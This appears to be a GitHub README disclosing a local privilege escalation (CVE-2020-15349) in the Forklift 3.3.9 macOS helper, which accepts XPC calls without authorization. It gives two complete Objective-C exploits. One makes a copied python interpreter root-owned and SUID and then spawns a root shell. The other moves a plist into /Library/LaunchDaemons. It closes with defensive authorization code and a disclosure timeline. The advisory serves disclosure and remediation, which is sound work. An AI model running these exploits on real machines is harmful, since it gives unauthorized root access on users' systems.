Forklift 3.3.9 Local Privilege Escalation

When installing the Forklift, a new helper called com.binarynights.ForkLiftHelper for Mac OS X is automatically installed to the /Library/PrivilegedHelperTools/ directory. Analyzing this helper, which handles XPC messages, resulted in different ways of escalating privileges from user to root on Mac OS X.

When accepting XPC calls the HelperTool listener:shouldAcceptNewConnection respectively (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection function by default. This function is used to perform the initial steps for establishing an XPC connection. Usually, this function performs the authorization of the caller—however, the function of the com.binarynights.ForkLiftHelper does not implement any authorization checks. Thus, it is possible to call any exposed functions over XPC unauthorized.

The following functions are exposed over XPC to the caller:

@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

Setuid Exploitation

The first method to exploit this helper is as follows:

Step 1: Interpreter Target chown

Copy, for example, the python interpreter to a user-controllable directory and call the XPC function changeOwner with the parameter @"<path>" owner:0 group:0. This will change the ownership of the python interpreter to root.

Step 2: Set SUID flag

Second, it is possible to set the SUID bit to the interpreter issuing an XPC request to the changePermissions function with the following parameter @"<path>" permissions:2541. The permissions 2541 represent in octal the number 4755, which sets the SUID flag on the binary.

Step 3: LPE

The following command will spawn a shell as root:

$/tmp/python_copied -c 'import pty; import os; os.setuid(0);pty.spawn("/bin/bash")'
# id
uid=0(root) [...]

Full Exploit

Please make sure to first have a python interpreter copied to /tmp with the name python_copied. The following exploit displays this LPE:

//
//  main.m
//  build
//  gcc -framework Foundation exploit.m -o exploit
//  
//

#import <Foundation/Foundation.h>

static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";

// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        
        NSString*  _serviceName = kXPCHelperMachServiceName;

        NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
        [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
        [_agentConnection resume];

        //        run user script as root/
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] changeOwner:@"/tmp/python_copied" owner:0 group:0 reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] changePermissions:@"/tmp/python_copied" permissions:2541 reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        
        NSLog(@"Done!");
    }
    return 0;
}

LaunchAgent Exploitation

The second method to exploit this helper is as follows:

Writing a new Launch Agent

Due to the XPC call moveItem it is possible to move any item as root. Thus, it is possible to write a plist file to the /tmp directory and then copy it to the /Library/LaunchDaemons/ directory. The following parameters are used for the moveItem function @"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist"

Full Exploit

The following code will automatically add a new launch agent which is triggered at a restart:

//
//  main.m
//  build
//  gcc -framework Foundation exploit.m -o exploit
//

#import <Foundation/Foundation.h>

static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";

// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        NSString* my_plist = @"<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
        "<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">"
        "<plist version=\"1.0\">"
        "<dict>"
        "  <key>Label</key>"
        "  <string>com.sample.Load</string>"
        "  <key>ProgramArguments</key>"
        "  <array>"
        "      <string>/bin/zsh</string>"
      "      <string>-c</string>"
      "      <string>touch /Library/foobar.txt</string>"
        "  </array>"
        "    <key>RunAtLoad</key>"
        "    <true/>"
        "</dict>"
        "</plist>";
        
        [my_plist writeToFile:@"/tmp/com.sample.Load.plist" atomically:YES encoding:NSASCIIStringEncoding error:nil];
        
        NSString*  _serviceName = kXPCHelperMachServiceName;

        NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
        [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
        [_agentConnection resume];

        //        run user script as root/
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] moveItem:@"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist" reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        NSLog(@"Done!");
    }
    return 0;
}

Recommendation

It is recommended to enforce authorization when calling the XPC helper.

These authorization checks should contain:

The caller is a valid signed application
The caller application was well hardened against DYLIB injection attacks (runtime flag)
The caller application has the correct TeamID from the Software Company

An excellent resource for the authorization checks can be found from the [1] source.

The following example shouldAcceptNewConnecton functions displays the different stages of the correct authorization checks:

@interface NSXPCConnection(PrivateAuditToken)

// This property exists, but it's private. Make it available:
@property (nonatomic, readonly) audit_token_t auditToken;

@end

// In the NSXPCListenerDelegate:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection {
   audit_token_t auditToken = connection.auditToken;
   NSData *tokenData = [NSData dataWithBytes:&auditToken length:sizeof(audit_token_t)];
   NSDictionary *attributes = @{(__bridge NSString *)kSecGuestAttributeAudit : tokenData};
   SecCodeRef code = NULL;
   if (SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef)attributes, kSecCSDefaultFlags, &code) != errSecSuccess) {
       return NO;
   }
   // Before checking the requirement make sure that code signing flags
   // CS_HARD and CS_KILL are set. Dynamic code signature checks can only
   // check the code pages already swapped into memory, so make sure that
   // no malicious code can be loaded at a later time. You may want to
   // disable this check in debug builds.
   CFDictionaryRef csInfo = NULL;
   if (SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo) != errSecSuccess) {
       return NO;
   } else {
       uint32_t csFlags = [((__bridge NSDictionary *)csInfo)[(__bridge NSString *)kSecCodeInfoStatus] intValue];
       CFRelease(csInfo);
       const uint32_t cs_hard = 0x100;         // don't load invalid pages
       const uint32_t cs_kill = 0x200;         // kill process if page is invalid
       const uint32_t cs_restrict = 0x800;     // prevent debugging
       const uint32_t cs_require_lv = 0x2000;  // Library Validation
       const uint32_t cs_runtime = 0x10000;    // hardened runtime
       if ((csFlags & (cs_hard | cs_kill)) != (cs_hard | cs_kill)) {
           // add all flags to check which are in your code signature!
           // In particular, we recommend cs_require_lv and cs_restrict.
           return NO;    // Not accepted because it can be tampered with
       }
   }

   NSString *requirementString = @"anchor apple generic and certificate leaf[subject.OU] = \"MyTeamIdentifier\"";
   SecRequirementRef requirement = NULL;

   // Check at least the peer's TeamID, e.g.
   // "anchor apple generic and certificate leaf[subject.OU] = MyTeamIdentifier"
   if (SecRequirementCreateWithString((__bridge CFStringRef)requirementString, kSecCSDefaultFlags, &requirement) != errSecSuccess) {
       abort(); // error in requirement string
   }

   OSStatus status = SecCodeCheckValidityWithErrors(code, kSecCSDefaultFlags, requirement, NULL);
   CFRelease(code);
   CFRelease(requirement);
   if (status != errSecSuccess) {
       return NO;
   }

   // further initialization of connection goes here...

   return YES;
}

Disclosure Timeline

08.06.2020 Initial Contact for Mail Address
08.06.2020 Response to send the same mail unencrypted
09.06.2020 Follow Up question for encryption
10.06.2020 Clearance of Encrypted Disclosure
12.06.2020 Disclosure of the LPE
15.06.2020 Partial Fix for CVE-2020-15349 (LPE)
16.06.2020 Disclosure of Entitlements LPE
19.06.2020 Disclosure of only partial fix of CVE-2020-15349
19.08.2020 Fix of CVE-2020-27192 and Final Fix for CVE-2020-15349

Resources

[1] - https://blog.obdev.at/what-we-have-learned-from-a-vulnerability/

Name		Name	Last commit message	Last commit date
Latest commit History 4 Commits
README.md		README.md
com.binarynights.ForkLiftHelper		com.binarynights.ForkLiftHelper
exploit.m		exploit.m
exploit_move_item.m		exploit_move_item.m

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Forklift 3.3.9 Local Privilege Escalation

Setuid Exploitation

Step 1: Interpreter Target chown

Step 2: Set SUID flag

Step 3: LPE

Full Exploit

LaunchAgent Exploitation

Writing a new Launch Agent

Full Exploit

Recommendation

Disclosure Timeline

Resources

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Forklift 3.3.9 Local Privilege Escalation

Setuid Exploitation

Step 1: Interpreter Target chown

Step 2: Set SUID flag

Step 3: LPE

Full Exploit

LaunchAgent Exploitation

Writing a new Launch Agent

Full Exploit

Recommendation

Disclosure Timeline

Resources

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